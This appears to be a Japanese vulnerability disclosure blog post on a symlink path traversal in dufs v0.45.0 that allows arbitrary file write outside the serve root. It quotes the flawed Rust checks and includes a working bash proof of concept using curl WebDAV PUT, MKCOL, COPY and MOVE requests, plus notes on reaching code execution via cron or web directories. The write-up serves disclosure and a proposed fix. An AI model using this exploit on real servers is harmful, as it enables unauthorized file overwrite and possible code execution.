Post

Bughunt:🔍 シンボリックリンクのパス探索によるserve root外へのファイル書き込み (GHSA-6g56-m84x-v64g)

Bughunt:🔍 シンボリックリンクのパス探索によるserve root外へのファイル書き込み (GHSA-6g56-m84x-v64g)

Summary

  • Title: Symlink Path Traversal Allows Arbitrary File Write Outside Serve Root
  • Credits: sl91994
  • Status: 報告済み (一般ユーザでの影響度低によりClosed)

allow_symlink が無効 (デフォルト) の状態で,認証の有無に関わらず (設定依存),攻撃者が設定された serve root 外に任意のファイル又はディレクトリを書き込める脆弱性が存在します. serve root 内に外部ディレクトリを指すシンボリックリンクが存在する場合,PUT,MKCOL,COPY,MOVE操作を使用して,意図されたディレクトリ境界外にファイルを作成または上書きすることが可能です.

Details

  • Date of Vulnerability Discovery: 2026-02-01
  • Verified version: dufs v0.45.0
  • Primary CWE:
    • CWE-22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)
  • Secondary CWE:
    • CWE-59: Improper Link Resolution Before File Access (‘Link Following’)
    • CWE-61: UNIX Symbolic Link (Symlink) Following
  • CVSS Scores:
    • Medium

allow_symlinkfalse(デフォルト)の場合,dufsはシンボリックリンク経由でのserve root外へのアクセスを防止することを意図しています. しかし,is_root_contained チェックは 既存のパスに対してのみ 実行されます.

server.rs (約275-278行目):

1
2
3
4
5
6
7
8
        // !is_miss 条件により,存在しないパスはそのまま後続処理される
        // 1. シンボリックリンクによる外部参照を許可しない
        // 2. 指定されたパスに何らかのファイルやリンクが実際に存在している
        // 3. そのパスの実体 (正規化されたパス) が,serve ルートディレクトリの外側にある
        if !self.args.allow_symlink && !is_miss && !self.is_root_contained(path).await {
            status_not_found(&mut res);
            return Ok(res);
        }

!is_miss 条件により,存在しないパスに対してはチェックがスキップ されます.これにより,新規ファイルやディレクトリを対象とする書き込み操作において, 解決後のパスが serve root 内に収まっているかの検証が行われません.

また,handle_upload, handle_copy, handle_moveensure_path_parent() を呼び出しますが,この関数は親ディレクトリの存在を確認するのみで,最終的な解決パスが serve root 内にあるかの検証は行いません.

server.rs (1633~1640行目):

1
2
3
4
5
6
7
8
async fn ensure_path_parent(path: &Path) -> Result<()> {
    if let Some(parent) = path.parent() {
        if fs::symlink_metadata(parent).await.is_err() {
            fs::create_dir_all(&parent).await?;
        }
    }
    Ok(())
}

handle_copy, handle_moveextract_dest() を呼び出しています. しかし,認可は行われているが,dest_path に対する is_root_contained の検証は行われていません.

server.rs ():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
    fn extract_dest(&self, req: &Request, res: &mut Response) -> Option<PathBuf> {
        let headers = req.headers();
        let dest_path = match self
            .extract_destination_header(headers)
            .and_then(|dest| self.resolve_path(&dest))
        {
            Some(dest) => dest,
            None => {
                status_bad_request(res, "Invalid Destination");
                return None;
            }
        };

        let authorization = headers.get(AUTHORIZATION);
        let guard = self
            .args
            .auth
            .guard(&dest_path, req.method(), authorization, None, false);

        match guard {
            (_, Some(_)) => {}
            _ => {
                status_forbid(res);
                return None;
            }
        };

	// ... but NO is_root_contained check here!
    }

実行可能な操作:

  • serve root 外への新規ファイル/ディレクトリ作成
  • serve root 内ファイルのserve root 外へのコピー/移動
  • serve root 外の任意ファイルの上書き

悪用可能な条件:

  • サーバ設定でallow_symlinkが無効 (デフォルトでは禁止)
  • WebDAVが有効で,PUT/MKCOL/COPY/MOVEが許可されている
  • 攻撃者が書き込み可能な場所に,serve root 外のディレクトリを指すシンボリックリンクを配置できる
  • 対象パスが 存在しない 状態で操作される (is_miss = true)

PoC

検証環境:

  • dufs v0.45.0 (検証済み)
  • Linux (任意のディストリビューション)

期待される動作: allow_symlink=false の場合,シンボリックリンク経由でserve root外を指す宛先へのリクエストは404または403で拒否されるべき. 実際の動作の一例: serve root 外の $EXTERNAL_DIR/pwned.txt にファイルが作成される.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
#!/bin/bash
set -e

# PoC: Symlink Path Traversal Allows Arbitrary File Write Outside Serve Root (Directory Symlink Variant)
# Tested: dufs v0.45.0
# Affected: Unknown (requires vendor confirmation)
# Vulnerability: Arbitrary File Write via Symlink when allow_symlink=false
# Execution condition: The project root must be the current directory.

# Serve Root
ROOT_DIR="/tmp/dufs-poc-$$/root"
# Target outside root
EXTERNAL_DIR="/tmp/dufs-poc-$$/external"
LINK_NAME="evil_link"
PORT=15555
TARGET_CONTENT="VULNERABLE: File written outside dufs root directory"

# Cleanup function to remove temp files and kill server
cleanup() {
    echo "[*] Cleaning up..."
    # To check files leaked from the serve root, change this to a comment.
    # rm -rf "$ROOT_DIR" "$EXTERNAL_DIR"
    pkill -f "dufs.*$PORT" 2>/dev/null || true
    sleep 1
}
trap cleanup EXIT

# Step 1: Setup environment
echo "[*] Step 1: Setup environment"
rm -rf "$ROOT_DIR" "$EXTERNAL_DIR"
mkdir -p "$ROOT_DIR" "$EXTERNAL_DIR"
# end Step 1

# Step 2: Create symlink inside root pointing outside
echo "[*] Step 2: Create symlink inside root pointing outside"
ln -s "$EXTERNAL_DIR" "$ROOT_DIR/$LINK_NAME"
echo "    Symlink created: $ROOT_DIR/$LINK_NAME -> $EXTERNAL_DIR"
# end Step 2

# Step 3: Start dufs server with allow_symlink=false and allow_upload=true, allow_delete=true
echo "[*] Step 3: Start dufs server (allow_symlink=false, allow_upload=true, allow_delete=true)"
# Get the dufs binary path (prefer release)
DUFS_BIN=$(find ./target -maxdepth 3 -type f -executable -name dufs \
    \( -path "*/release/*" -o -path "*/debug/*" \) 2>/dev/null | sort -r | head -1)

if [ -z "$DUFS_BIN" ]; then
    echo "Error: dufs binary not found. Run 'cargo build' first." >&2
    exit 1
fi
echo "Using binary: $DUFS_BIN"

# launch background dufs and log output
# --allow-symlink defaults to false
$DUFS_BIN "$ROOT_DIR" --allow-upload --allow-delete --port $PORT --log-file /tmp/dufs-poc-$$.log > /dev/null 2>&1 &
DUFS_PID=$!
echo "    dufs started with PID $DUFS_PID on port $PORT"

sleep 2

# Verify server is running
if ! kill -0 $DUFS_PID 2>/dev/null; then
    echo "[!] ERROR: dufs failed to start"
    exit 1
fi

# Step 4: Exploit - Write file via symlink to outside root
echo "[*] Step 4: Exploit - Write file via symlink to outside root"
echo ""

# Test 4.1: PUT method
echo "  [4.1] Testing PUT method..."
PUT_FILE="webdav_put_$$.txt"
HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" -X PUT \
    "http://127.0.0.1:$PORT/$LINK_NAME/$PUT_FILE" \
    -H "Content-Type: text/plain" \
    -d "$TARGET_CONTENT")
echo "    HTTP Status: $HTTP_STATUS"

# Test 4.2: MKCOL method (WebDAV - create directory)
echo "  [4.2] Testing MKCOL method (WebDAV)..."
MKCOL_DIR="webdav_mkcol_dir_$$"
HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" -X MKCOL \
    "http://127.0.0.1:$PORT/$LINK_NAME/$MKCOL_DIR")
echo "    Target: http://127.0.0.1:$PORT/$LINK_NAME/$MKCOL_DIR"
echo "    HTTP Status: $HTTP_STATUS"

# Test 4.3: COPY method (WebDAV - copy file to symlink destination)
echo "  [4.3] Testing COPY method (WebDAV)..."
# First create a source file inside root
SOURCE_FILE="source_for_copy.txt"
curl -s -X PUT "http://127.0.0.1:$PORT/$SOURCE_FILE" \
    -H "Content-Type: text/plain" \
    -d "Source file for copy test" > /dev/null
COPY_DEST="webdav_copy_$$"
HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" -X COPY \
    "http://127.0.0.1:$PORT/$SOURCE_FILE" \
    -H "Destination: http://127.0.0.1:$PORT/$LINK_NAME/$COPY_DEST")
echo "    Target: http://127.0.0.1:$PORT/$LINK_NAME/$COPY_DEST"
echo "    HTTP Status: $HTTP_STATUS"

# Test 4.4: MOVE method (WebDAV - move file to symlink destination)
# --allow-delete option is required
echo "  [4.4] Testing MOVE method (WebDAV)..."
MOVE_SOURCE="source_for_move_$$.txt"
curl -s -X PUT "http://127.0.0.1:$PORT/$MOVE_SOURCE" \
    -H "Content-Type: text/plain" \
    -d "Source file for move test" > /dev/null
MOVE_DEST="webdav_move_$$"
HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" -X MOVE \
    "http://127.0.0.1:$PORT/$MOVE_SOURCE" \
    -H "Destination: http://127.0.0.1:$PORT/$LINK_NAME/$MOVE_DEST")
echo "    Target: http://127.0.0.1:$PORT/$LINK_NAME/$MOVE_DEST"
echo "    HTTP Status: $HTTP_STATUS"

# Test 4.5: COPY method to overwrite existing file (CRITICAL)
# This is the most dangerous - works without --allow-delete
echo "  [4.5] Testing COPY method - Overwrite existing file (CRITICAL)..."
EXISTING_FILE="existing_file_$$"
echo "ORIGINAL CONTENT - This should be overwritten" > "$EXTERNAL_DIR/$EXISTING_FILE"
echo "    Created existing file: $EXTERNAL_DIR/$EXISTING_FILE"
SOURCE_OVERWRITE="source_for_overwrite.txt"
curl -s -X PUT "http://127.0.0.1:$PORT/$SOURCE_OVERWRITE" \
    -H "Content-Type: text/plain" \
    -d "OVERWRITTEN CONTENT - Attack successful" > /dev/null
HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" -X COPY \
    "http://127.0.0.1:$PORT/$SOURCE_OVERWRITE" \
    -H "Destination: http://127.0.0.1:$PORT/$LINK_NAME/$EXISTING_FILE")
echo "    Target: http://127.0.0.1:$PORT/$LINK_NAME/$EXISTING_FILE"
echo "    HTTP Status: $HTTP_STATUS"

# end Step 4

sleep 1

# Step 5: Verify if files were created outside root
echo "[*] Step 5: Verify vulnerability"
if [ -f "$EXTERNAL_DIR/$PUT_FILE" ]; then
    echo ""
    echo "[VULNERABLE - PATH TRAVERSAL]"
    echo "Files created OUTSIDE serve root:"

    # Check WebDAV artifacts
    echo "  [PUT]   File created: $EXTERNAL_DIR/$PUT_FILE"
    if [ -d "$EXTERNAL_DIR/$MKCOL_DIR" ]; then
        echo "  [MKCOL] Directory created: $EXTERNAL_DIR/$MKCOL_DIR"
    fi
    if [ -f "$EXTERNAL_DIR/$COPY_DEST" ]; then
        echo "  [COPY]  File created: $EXTERNAL_DIR/$COPY_DEST"
    fi
    if [ -f "$EXTERNAL_DIR/$MOVE_DEST" ]; then
        echo "  [MOVE]  File created: $EXTERNAL_DIR/$MOVE_DEST"
    fi
    if [ -f "$EXTERNAL_DIR/$EXISTING_FILE" ]; then
        OVERWRITE_CONTENT=$(cat "$EXTERNAL_DIR/$EXISTING_FILE")
        if [[ "$OVERWRITE_CONTENT" == *"OVERWRITTEN"* ]]; then
            echo "  [COPY-OVERWRITE] Existing file overwritten!"
            echo "                   $EXTERNAL_DIR/$EXISTING_FILE"
            echo "                   Content: $OVERWRITE_CONTENT"
        fi
    fi
    
    echo ""
    ls -lah "$EXTERNAL_DIR"
    exit 0
else
    echo ""
    echo "[NOT VULNERABLE - PATCHED]"
    echo "File was NOT created outside root (patch is effective)"
    exit 1
fi
# end Step 5

Impact

想定される被害:

  • 意図された serve root ディレクトリ外での任意ファイル作成/上書き
  • システム設定の改ざん
  • Web公開ディレクトリやcronジョブへの書き込みによるコード実行
  • 重要なシステムファイルの上書きによるサービス拒否 (DoS)

影響を受けるユーザー:

  • --allow-upload またはWebDAV書き込みアクセスを有効にしてdufsを実行しているユーザー (--allow-deleteが有効である場合は,MOVEでも脆弱性が発現する)
  • serve root 内に外部ディレクトリを指すシンボリックリンクが存在するユーザー (共有ホスティング,Dockerボリュームマウント,設定ミスのある環境で一般的)
  • dufsが昇格した権限または機密ディレクトリへのアクセス権を持って実行されているシステム

プロトコルメソッド別の影響範囲:

操作関数脆弱性可否必要オプション
PUThandle_upload–allow-upload
MKCOLhandle_mkcol–allow-upload
COPYhandle_copy–allow-upload
MOVEhandle_move–allow-upload & –allow-delete
その他handle_...不可 (is_miss=falseが前提のものは不可)None

推奨される修正: PUT,MKCOL,COPY, MOVEにおいて,対象が既存かどうかに関わらず,宛先パスに対して is_root_contained チェックを適用する.

This post is licensed under CC BY 4.0 by the author.